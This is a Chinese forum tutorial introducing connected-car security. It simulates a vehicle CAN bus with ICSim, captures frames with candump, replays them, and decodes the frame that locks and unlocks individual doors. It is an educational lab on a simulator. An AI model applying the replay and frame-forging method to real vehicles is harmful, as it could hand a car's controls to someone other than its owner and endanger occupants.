论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
ToB门户
了解全球最新的ToB事件
博客
Blog
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
搜索
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
只需一步,快速开始
账号登录
立即注册
找回密码
用户名
Email
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
ToB企服应用市场:ToB评测及商务社交产业平台
»
论坛
›
安全
›
网络安全
›
车联网安全入门之仿真一辆车的通信网络 ...
车联网安全入门之仿真一辆车的通信网络
悠扬随风
金牌会员
|
2022-11-16 19:03:44
|
显示全部楼层
|
阅读模式
楼主
主题
787
|
帖子
787
|
积分
2361
序
车联网安全是目前较为热门的发展方向,但是由于他的入门门槛太高(没有实车)导致大部分人被卡在门槛这里。所以我总结了网上的相关资料写出这篇文章,可以让学习车联网安全的同学来模拟控制一辆车是什么样的感觉,本篇文章通过Ubuntu模拟了车载CAN总线的收发包来进行操作学习,接下来跟着我一步步操作来打开车联网安全的大门吧!
什么是CAN总线
CAN总线又称控制器局域网是Controller Area Network的缩写,CAN总线是一种功能丰富的车用总线标准。被设计用于在不需要主机(Host)的情况下,允许网络上的单片机和仪器相互通信。 它基于消息传递协议,设计之初在车辆上采用复用通信线缆,以降低铜线使用量,后来也被其他行业所使用。简单来说就是用来控制车辆功能的通信协议,比如车门解锁、转向灯、刹车、油门等,为什么要使用CAN协议,简单来说就是便宜好用。
CAN总线特性
安全性:
CAN是低级协议,不支持任何内在的安全功能。在标准的CAN中也没有加密,这使得这些网络数据能被截取。在大多数应用中,应用程序需要部署自己的安全机制,例如认证传入命令或网络上某些设备的存在。若不执行适当的安全措施,其他人可能设法在总线上插入消息。尽管一些安全关键功能(如修改固件,编程键或控制防抱死制动)存在密码,但这些系统并未普遍实施,并且密钥对的数量有限。
通信机制:
多主机-即每个节点都有接入总线的能力。
寻址机制:
消息区别:不设节点的地址,通过消息的标志符来区别消息。
帧类型:
数据帧、远程帧、错误帧、超载帧、帧间隔
攻击方式:
应用报文模糊测试
Dos攻击测试
重放攻击
由于CAN总线上面的数据包没有任何加密,所以这些数据包能够被截取窃听。由于车载网络使用CAN协议进行通信,所以我们可以联想到车联的功能也是通过CAN网络进行数据发送和交换。比如我们打开左转向灯,那么电信号就会通过CAN总线发送到网络上的每个设备,然后左转向灯会解释数据包并且执行数据包中的指令。
在网络上发送的数据包由两部分组成:标识符和数据。标识符是车辆中设备的表示。数据字段表示要与所述设备一起完成的指令。让我们看下面的例子:
(1668496788.311506) vcan0 095#800007F400000017
复制代码
数据包的开始部分是标识符。在这种情况下,标识符是095。#之后的数据包剩余部分是数据字段。
可以看下Wireshark抓到的包
标识符在不同车型,相同车型不同年份的情况下也是不相同的,如果是相同车型相同年份的车型那么标识符大概率是通用的,不同的标识符表示车上不同的设备发的包,后面我们需要找到我们想要控制车辆功能的标识符包。
攻击方式
在前面CAN总线特性处我们写的CAN总线攻击方式包括应用报文模糊测试、Dos攻击测试、重放攻击等,接下来我们来实操一下重放攻击,顾名思义就是可以截取数据包然后重新发送导致车辆处于我们的控制之下而不受到车辆所有人的操控。
安装工具
kali2022.03
ICSim (仪表盘模拟器)
Socketcand(CAN网络)
Kayak(一款基于SocketCAN的CAN总线分析工具)
ICSim是一个开源的车辆仪表模拟器,该模拟器包含controls和ICSim两个模块,其中controls负责生成模拟的车辆数据,以CAN报文的方式发送给虚拟的CAN接口,ICSim从虚拟CAN接口读取CAN报文,并在仪表上更新对应零件的状态,如车速、车门状态等等。
安装依赖
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf
复制代码
安装ICSim
下载
git clone https://github.com/zombieCraig/ICSim.git
复制代码
编译
cd ICSim/
sudo make
复制代码
安装socketcand
下载
git clone https://github.com/linux-can/socketcand.git
复制代码
获取缺少的文件
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
复制代码
编译安装
cd socketcand/
autoconf
复制代码
./configure
复制代码
make clean
复制代码
make
复制代码
sudo make install
复制代码
安装Kayak
下载
git clone https://github.com/dschanoeh/Kayak.git
复制代码
安装
cd Kayak/
mvn clean package
复制代码
至此,全部安装完毕。
开始攻击
首先设置vcan(虚拟CAN)接口
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
复制代码
打开仪表盘模拟器
./icsim vcan0
复制代码
打开仪表盘控制器
./controls vcan0
复制代码
点击仪表盘控制器界面就可以模拟操纵车辆了。
功能控制按钮转向灯键盘左右键速度键盘上下键开车门右SHIFT键+A关车门左SHIFT键+A开启全部车门左SHIFT键+右SHIFT键关闭全部车门右SHIFT键+左SHIFT键
使用candump进行抓包
candump vcan0 -l
复制代码
CTRL+C停止
看到抓到的包,由于CAN在不停的通信所以包会非常大。
接下来我们找到CAN网络上面控制车辆的数据包对他进行攻击。
监听抓包,然后打开所有车门然后关闭。
抓到了一万多个包。
尝试重放我们的包
canplayer -I candump-2022-11-15_052559.log
复制代码
可以看到全部车门打开随即关闭。
接下来我们采用二分法每次删除一半来查找关闭车门的包。
最终通过二分法找到打开所有车门的包为:
(1668507963.222323) vcan0 19B#000000000000
复制代码
其中的19B是设备标识符,在数据包中查找19B。
└─$ grep 19B candump-2022-11-15_052559.log
(1668507960.512530) vcan0 244#000000019B
(1668507962.233563) vcan0 19B#00000F000000
(1668507963.222323) vcan0 19B#000000000000
(1668507963.517110) vcan0 244#000000019B
(1668507964.208966) vcan0 19B#00000F000000
(1668507965.319056) vcan0 244#000000019B
复制代码
我们可以看到其中有一个19B#00000F000000,如果我们得到19B#000000000000是打开所有车门,那么后面我们也进行了关闭所有车门的操作,可以猜测19B#00000F000000是关闭所有车门。
可以看到上图,我们成功关闭了所有车门。
如上可知这个数据包中通过第三位字节来控制。
(1668507962.233563) vcan0 19B#00000F000000 //打开所有车门
(1668507963.222323) vcan0 19B#000000000000 //关闭所有车门
复制代码
锁上所有门的数据包将半字节表示为十六进制F。将其分解为二进制可得出 16 种可能的门组合。
二进制十六进制000000001100102001130100401015011060111710008100191010a1011b1100c1101d1110e1111f尝试字符控制的不同车门。
字符车门8右后车门4左后车门2右前车门1左前车门假设1是锁门的动作,0是解锁门的动作。因此,当我们识别我们的门时,识别出的门会收到锁门的指令,而其他门会收到解锁的指令。比如字符8的二进制是1000那么就是锁门,开门,开门,开门。
右后车门 左后车门 右前车门 左前车门
8 4 2 1
1 1 0 0 等于 C
复制代码
可以尝试查看C是不是关闭了后排两个门,打开了前排两个门。
至此,就可以操控每个门的开关了。同理,转向和油门都是相同原理。
参考
控制器區域網路
零成本入门车联网安全研究
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
本帖子中包含更多资源
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
回复
使用道具
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
悠扬随风
金牌会员
这个人很懒什么都没写!
楼主热帖
(8) PyQt 设计并实现【工厂扫码装箱系 ...
【Web前端】HTML详解(上篇)
IDEA: 如何导入项目模块 以及 将 Java ...
Java Long类parseLong()方法具有什么功 ...
命题逻辑等值演算
互联网官方协议标准(rfc5000) ...
详解kubernetes五种暴露服务的方式 ...
王心凌再次爆火,为了防止收费,我连夜 ...
Oracle ORA-10917: TABLESPACE GROUP c ...
微信小程序项目实例——图片处理小工具 ...
标签云
挺好的
服务器
快速回复
返回顶部
返回列表